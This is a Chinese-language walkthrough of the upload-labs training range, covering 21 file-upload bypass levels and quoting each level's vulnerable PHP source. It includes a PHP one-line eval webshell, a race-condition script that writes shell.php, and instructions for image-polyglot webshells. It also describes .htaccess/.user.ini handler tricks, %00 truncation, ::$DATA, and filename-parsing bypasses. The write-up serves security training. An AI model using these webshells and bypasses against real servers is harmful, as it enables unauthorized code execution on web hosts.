目录
- 文件上传漏洞
- Pass-01
- Pass-02
- Pass-03
- Pass-04
- Pass-05
- Pass-06
- Pass-07(Windows环境操作)
- Pass-08(Windows环境操作)
- Pass-09(Windows环境操作)
- Pass-10(Windows环境操作)
- Pass-11
- Pass-12
- Pass-13
- Pass-14
- Pass-15
- Pass-16(需要开启`php_exif`模块)
- Pass-17
- Pass-18
- Pass-19
- Pass-20
- Pass-21
upload-labs
是一个使用
php
语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关,每一关都包含着不同上传方式。
注意:
1.每一关没有固定的通关方法,大家不要自限思维!
2.本次提供的`writeup`只是起一个参考作用,实在没有思路时,可以点击 查看提示。
3.如果黑盒情况下,实在做不出,可以点击 查看源码。
文件上传漏洞
上传文件时,目标服务器对上传的文件内容及后缀没做严格的过滤,对文件存储的路径没做限制。
文件上传漏洞的条件
1、木马文件(php、jsp、asp、exe)--eval system exec assert
2、可以绕过目标服务器检测成功上传
3、可以获取到上传路径,上传路径具备可执行权限
一句话木马: <?php @eval($_POST['cmd']); ?>
注释:
$_POST 是 PHP 中的超全局变量,在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即键名
eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果,该函数对php语法要求严格,所传入语句必须以";"结尾
"@"的作用是屏蔽报错信息。
Pass-01
首先上传a.php文件,发现弹窗给出了白名单文件类型.jpg|.png|.gif
利用Burp抓包发现无法获取数据包,猜测是前端验证,禁用前端JavaScript,尝试上传
禁用js后发现上传成功且返回图片
访问图片尝试用HackBar构造post传参,返回phpinfo界面即为成功。如下图:
第二种方法:
上传白名单后缀名文件,这里以b.png为例,上传时用Burp抓包
右键将数据包发送到Repeater模块,并将数据包改成一句话木马,filename修改为b.php
如下:
重发数据包后,发现响应包存在文件路径
拼接文件路径,发现返回参数,尝试用HackBar构造传参返回phpinfo界面即为成功。
Pass-02
上传a.php,用Burp抓包并将数据包发送至Repeater模块,发包后提示文件类型不正确
分析数据包,猜测可能是对Content-Type类型有限制
修改Content-Type: image/jpeg、image/png、image/gif(上述三种任选其一),重新发包
拼接路径,并用HackBar构造参数,出现phpinfo界面即为成功。
Pass-03
尝试上传3.php,发现黑名单提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。
这里用.ptml试一下,直接上传一个名为3.phtml的文件,可以发现直接上传成功,使用HackBar构造传参后成功访问phpinfo。
Pass-04
这题本地环境存在问题,就从网上找了两个可以用的
http://175.178.67.176:8084
http://62.234.193.176:8084
尝试上传4.php、4.php5、4.phtml以及各种大小写后缀均绕过失败,查看提示
发现有一个文件是没有过滤的,即上传中常用到的 .htaccess文件
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
创建.htaccess文件,代码如下:
方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php
先上传.htaccess再上传4.png,访问图片利用HackBar构造post请求,成功访问。
Pass-05
上传5.php、.htaccess、5.phtml等文件发现都被禁用,查看提示 存在readme.php
,
php.ini
是php的一个全局配置文件,对整个web服务起作用;
而.user.ini
和.htaccess
一样是目录的配置文件,.user.ini
就是用户自定义的php.ini
,可以利用这个文件来构造后门和隐藏后门。
.user.ini
使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。
.user.ini 配置项中有两个配置可以起到一些作用
方法一:
auto_prepend_file = <filename> //包含在文件头
方法二:
auto_append_file = <filename> //包含在文件尾
本地新建.user.ini文件和5.png,上传 测试
Pass-06
查看提示发现文件大小写过滤不严谨,可以绕过
尝试修改数据包上传,成功上传且成功解析
大小写绕过原理:
Windows系统下,对于文件名中的大小写不敏感。例如:test.php和TeSt.PHP是一样的。
Linux系统下,对于文件名中的大小写敏感。例如:test.php和 TesT.php就是不一样的。
Pass-07(Windows环境操作)
尝试大小写绕过,.htaccess文件等均显示此文件禁止上传,查看源码
array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
发现没有对上传的文件名做去空格的操作->trim()
利用burp抓包,修改对应的文件名 添加空格。
Windows系统下,对文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单.
Pass-08(Windows环境操作)
查看源码
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
发现对上传的文件后缀名未做去点.
的操作—>strrchr($file_name, '.')
Windows系统下,文件后缀名最后一个点会被自动去除。上传 8.php.
Pass-09(Windows环境操作)
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
分析代码发现 对上传的文件后缀名未做去::$DATA
处理
Windows系统下,如果上传的文件名为`9.php::$DATA`会在服务器上生成一个9.php的文件,其内容和所上传文件内容相同并被解析。
Pass-10(Windows环境操作)
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
#将文件名进行过滤操作后,将文件名拼接在路径后面,所以需要绕过前面的首尾去空以及去点。
上传文件名为 .php. .(点+php+点+空格+点)
Pass-11
代码分析:
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);#将这些扩展名从文件名中移除
$temp_file = $_FILES['upload_file']['tmp_name'];
利用str_ireplace()将文件名中符合黑名单的字符串替换成空
利用方式:利用双写黑名单字符,对字符串的一次过滤后拼接出php,文件名`.pphphp`
上传11.php,成功上传访问发现文件后缀名没了
尝试双写php绕过,上传11.pphphp
Pass-12
PS:需要php的版本号低于5.3.29
,且magic_quotes_gpc
为关闭状态(需要自己关闭)
上传图片分析数据包,使用白名单限制上传文件类型,但上传文件的存放路径可控
利用方法:设置上传路径为upload/12.php%00
,添加12.php%00
内容为了控制路径,上传文件后缀为白名单即可 例:12.png,保存后为/upload/12.php%00*****.png
,但服务端读取到%00时会自动结束,将文件内容保存至12.php中
代码分析:
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".ra![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/05b3ee0e6e4a4e72b0cff162abb67372.png)
nd(10, 99).date("YmdHis").".".$file_ext;
知识补充:
php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
Pass-13
第13题与12题思路一样使用白名单限制上传文件类型,但上传文件的存放路径可控,
但因为是POST型,需要对%00进行解码或在16进制中修改,POST不会像GET那样对%00进行自动解码。
Pass-14
本关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含
绕过
补充:
Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM
图片马制作:
在cmd里执行 **copy logo.jpg/b+test.php/a test.jpg**
#logo.jpg为任意图片;test.php 插入的木马文件;test.jpg 生成的图片木马
上传完复制文件路径,点击上图黄色的文件包含漏洞
分析代码可以知道get传参,参数是file,构造如下图参数
Pass-15
查看提示: 本pass使用getimagesize()检查是否为图片文件!
getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
主要是针对*.php直接更改文件后缀为图片后缀,上一题创建的图片马仍然可以使用。
方法同Pass-14
Pass-16(需要开启php_exif
模块)
exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快
方法同Pass-14
Pass-17
本关综合判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染
为了操作简便这里以ma.gif为例,其他格式可以参考Pass-17详细分析,
上传正常的ma.gif
图片下载回显图片(238914341.gif),用010Editor
编辑器对比两个GIF图片内容,
找到相同
的地方(上传前和上传后,两张图片Hex仍然保持不变的位置)并插入PHP一句话,
上传更改后带有PHP一句话木马的GIF图片,利用路径文件包含成功。
Pass-18
直接审核代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){ // 检查是否提交了上传表单,如果提交了则执行下面的代码块
$ext_arr = array('jpg','png','gif'); // 定义允许上传的文件类型数组,包括jpg,png,gif
$file_name = $_FILES['upload_file']['name']; // 从上传表单中获取上传文件的名字
$temp_file = $_FILES['upload_file']['tmp_name']; // 从上传表单中获取上传文件的临时路径
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名,即文件名的最后部分
$upload_file = UPLOAD_PATH . '/' . $file_name; // 拼接出上传文件的完整路径,创建以原文件名为名的文件
if(move_uploaded_file($temp_file, $upload_file)){ // 将临时文件移动到指定的路径,如果移动成功则执行
if(in_array($file_ext,$ext_arr)){ // 检查上传文件的扩展名是否在允许的类型数组中,如果在则执行下面的代码块
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
#生成新的文件名,包括随机数字、当前日期和时间以及原文件的扩展名
rename($upload_file, $img_path); // 将上传的文件重命名为新的文件名
$is_upload = true;
}else{ // 如果上传文件的扩展名不在允许的类型数组中,则设置错误消息,并删除上传的文件
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可通过条件竞争的方式在unlink之前,访问webshell。
使用burp拦截上传18.php的数据包并对数据包发送至intruder模块进行高速重发(上传包),
//18.php
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
#访问18.php,会在目录下生成一个shell.php
同时使用burp截取访问http://192.168.2.14/upload-labs-master/upload/18.php的数据包也进行重发(访问包),
线程越高越好,然后start attck,当 访问包 状态码返回 200 时,代表shell.php已经生成,可以停止发包。
成功解析
Pass-19
上传图片发现,图片马上传路径不在upload下,
通过分析源代码发现后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。可以不断利用burp发送上传图片马的数据包,由于条件竞争,程序会出现来不及rename的问题,然后再不断通过include.php不断包含上传的文件(注意上传后的文件名:uploadxxx.jpg
)从而从而生成木马。
区别于Pass-18,这里需要使用上一题的php代码生成图片马
测试发现重命名后的图片马依旧可以被文件包含,从而生成shell.php
Pass-20
Linux环境下使用/.
绕过,Windows环境下可以使用%00
截断
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析代码可知:没有对上传的文件做判断,只对用户输入的文件名做判断,后缀名黑名单
上传的文件名用户可控,黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()会忽略掉文件末尾的 /.,主要作用是将临时文件移到指定的目标路径,并确保文件在移动中不会被删除或覆盖。
Pass-21
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
源码逻辑:
- 检查MIME (通过抓包改Content-Type 绕过)
- 判断 POST参数 save_name 是否为空,
- 判断$file 是否为数组,不是数组以
.
分割化为数组 - 取 $file 最后一个元素,作为文件后缀进行检查
- 取 f i l e 第 一 位 和 第 ‘ file 第一位和第` file第一位和第‘file[count($file) - 1]`作为文件名和后缀名保存文件
修改content-type 修改POST参数为数组类型,
索引[0]为qwe.php,
索引[2]为jpg|png|gif。
只要第二个索引不为1,
$file[count($file) - 1]就等价于$file[2-1],值为空绕过